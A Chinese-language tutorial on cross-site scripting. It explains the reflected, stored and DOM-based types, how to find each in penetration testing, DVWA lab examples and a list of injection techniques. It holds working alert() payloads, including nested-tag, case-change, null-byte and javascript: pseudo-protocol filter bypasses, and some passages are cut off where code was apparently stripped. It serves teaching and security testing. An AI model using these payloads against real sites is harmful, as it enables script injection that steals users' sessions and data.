0x00 XSS简介

•跨站脚本（cross site script），简称为XSS。

•XSS不像绝大多数的Web攻击(SQL注入)以服务器端应用程序为攻击 目标，而是主要针对应用程序的客户端。XSS是指恶意攻击者利用网 站没有对用户提交数据进行转义处理或者过滤不足的缺点，进而添加 一些代码，嵌入到web页面中去。使别的用户访问都会执行相应的嵌 入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问 者进行病毒侵害的一种攻击方式。

0x01 XSS攻击分类

1.反射型
又称为非持久性跨站点脚本攻击，攻击者设计一个包含嵌入Javascript 代码的请求，随后这些代码又被反射到任何提出请求的用户，这类攻击被 称作反射型XSS。–url参数直接注入 先假设存在这样一个反射型XSS漏洞，URL如下：
http://www.a.com/error.php?message=sss

2.存储型

• 与反射型XSS不同的是用户输入的数据被保存在应用程序中（数 据库），然后不经适当过滤或者净化就显示给其他用户，这类攻击 被称为保存型XSS。存储到DB后读取时注入
• 存储型XSS典型例子是论坛恶意帖子，用户凡是浏览过该帖子 的都易受到该类型攻击。

3.DOM型

反射型和保存型XSS漏洞都表现出一种特殊的行为模式，其中应用程序提取 用户控制的数据并以危险的方式将这些数据返回给用户。第三类XSS并不具有这 些特点。在这种漏洞中，攻击者的Javascript通过以下过程得以执行： - 用户请求一个经过专门设计的URL，它由攻击者提交，且其中包含嵌入式 javascript。 - 服务器的响应中并不以任何形式包含攻击者的脚本。 - 当用户的浏览器处理这个响应时，上述脚本得以处理。

DOM型XSS攻击
这一系列事件如何发生呢？由于客户端javascript可以访问浏览器的文本对象模 型DOM，因此它能决定用于加载当前页面的URL。由应用程序发布的一段脚本 可以从URL中提取数据，对这些数据进行处理，然后用它动态更新页面的内容 。如果这样，应用程序就可能易于受到这样的基于DOM的XSS攻击。

0x02 XSS 渗透测试

XSS渗透测试概括了渗透测试过程中XSS漏洞的测试方法。测试过程 要覆盖三种类型的XSS探测，通常这个过程是利用扫描工具，扫描工 具有完整的测试例，并可以对Web应用的GET查询字符串、POST表 单、Cookie以及其他请求消息报头进行测试。在发现了XSS漏洞后， 根据不同的类型构造不同的XSS Payload利用漏洞，或者结合其他漏 洞发起攻击。 常用的XSS漏洞扫描工具有OWASP，BruteXSS，AWVS，Nessus。

1。反射型xss渗透
1.1查找反射型xss
• 构造一个仅包含字母数字组合的特殊字符串，例如 myxssteststring，把这个字符串作为每个请求的参数值，且每次 只针对一个参数。
• 监控应用程序的响应，查看响应中是否出现先前提交的字符串，如 果出现则标记该参数为可疑参数。
• 除标准的请求（GET、POST）参数外，还应该检测HTTP请求消息 报头，例如在Cookie、Referer、User-Agent等头部添加特殊字 符串。

1.2利用反射型xss

假设请求http://www.victim.com/xss.php?id=myxssteststring ，页面返回 ，可以确定id是一个可疑参数，因 此想办法终止包含字符串的双引号，结束标签，然后通过 其他方法引入javascript脚本（使用

•XSS事件 - <div onclick="alert('XSS')">hello</div>
•伪协议 - <img src=javascript:alert('xss')>
•style属性 - <div style="background:url(javascript:alert('XSS'))">

2.存储型xss渗透
2.1查找存储型xss

• 确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程 有很多相似之处，都包括提交一个特殊的字符串作为每个页面的每一 个参数。这两个过程之间也存在着一些重要的区别，具体过程如下：
• 向应用程序中的每一个可能的位置提交一个特殊的字符串后，确定 这个字符串在响应页面中的显示情况，与反射型不同的是在保存被提交 的数据之前，许多应用程序功能需要经历几个阶段的操作。例如，注册 新用户、处理购物订单、转账等操作往往需要按预定的顺序提交几个不 同的请求。为避免遗漏任何漏洞，必须确保每次测试彻底完成。
• 监控应用程序的响应，看其中是否出现先前提交的字符串，如果出 现则标记该参数为可疑参数。

2.2利用反射型xss

存储型XSS的利用相比反射型XSS的攻击效 果更好，危害也更大。但就攻击载荷和攻击 语句与反射型无异。

3.DOM型xss渗透
3.1查找DOM型xss
•以一个例子说明，假设应用程序返回的页面包含如下脚本： <script> var url=document.location; url=unescape(url); var message=url.substring(url.indexOf('message=')+8,url.length) document.write(message) </script>这段代码作用是解析url，提取message参数的值，并把这个值写入页面的 HTML源代码中，但是如果攻击者提交的message参数为 <script>alert('xss')</script>,该代码就被动态写入页面，从而导致XSS攻击。

3.2DOM型xss注入点

• 3.2.1 html节点内容<div> #{content} </div>
• 3.2.2 html属性<img src=”#{imge}”/> <img src=”1” onerror=”alert(1)”/>
• 3.2.3 js代码

<script>var data=”#{data}”; var data=”hello”;alert(1);””; </script> 

• 3.2.4富文本<div>#{content}</div> <div><script></script></div>

0x03 dvwa xss 举例

xss(reflected)
low
源代码：
输入 <script>(/xss/)</script>,弹框
medium
源代码：

可以看到，这里 对输入进行了过滤，基于黑名单 的思想，使用 str_replace函数 将输入中的

输入 <sc<script>ript>alert(/xss/)</script>,弹框；
大小写绕过 <ScriPt>alert(/xss/)</script>,弹框；

high
代码
输入<img src=1 onerror=alert(/xss/)>，弹框
impossible
XSS(DOM)

low

0x04 xss注入方法

• 利用<>标记注射HTML/javascript <script>alert('XSS');</script>

• 利用HTML事件 - <div style="background-color:red" onmouseenter="alert('XSS')">hello</div>
  

• 利用HTML事件 - 事件前面加“\0”、“/”、双引号、单引号 <\0im\0g/\0src=\0x \0onerror\0=\0ale\0rt(1)> Opera 10.01
  <img "src=x /onerror=alert(1)> Opera 10.01
  <img src=x aaa"onerror=alert(1)> Opera 10.01
  <img src="x" 'onerror =alert(1)> Opera 10.01

• 事件后加字符 <img src=x onerror\uffe=alert(1)>

• 利用style属性或标签 <div style="background:url(javascript:alert('XSS'))">
  
  
  

• 利用expression关键字
  - 利用 @import指定执行js
  - 利用HTML标签属性 javascript:[code]伪协议执行XSS
  属性href、src等可以使用伪协议来执行脚本代码， 这些伪协议包括javascript、vbscript、asfunction、data、 mocha、livescript

• 利用HTML标签属性 javascript:[code]伪协议执行XSS
  在测试XSS的过程中，我们经常需要尝试各种XSS输入，以绕过服务端程序 对跨站点脚本的过滤，这时候，如果有一份待测试的XSS语句列表会便利许 多。XSS语句列表罗列了各种各样的XSS代码， 这些XSS代码在不同的浏览器、不同的应用场景、不同的环境下均有跨站触 发的可能。通常，此类列表被称为Cheat Sheet。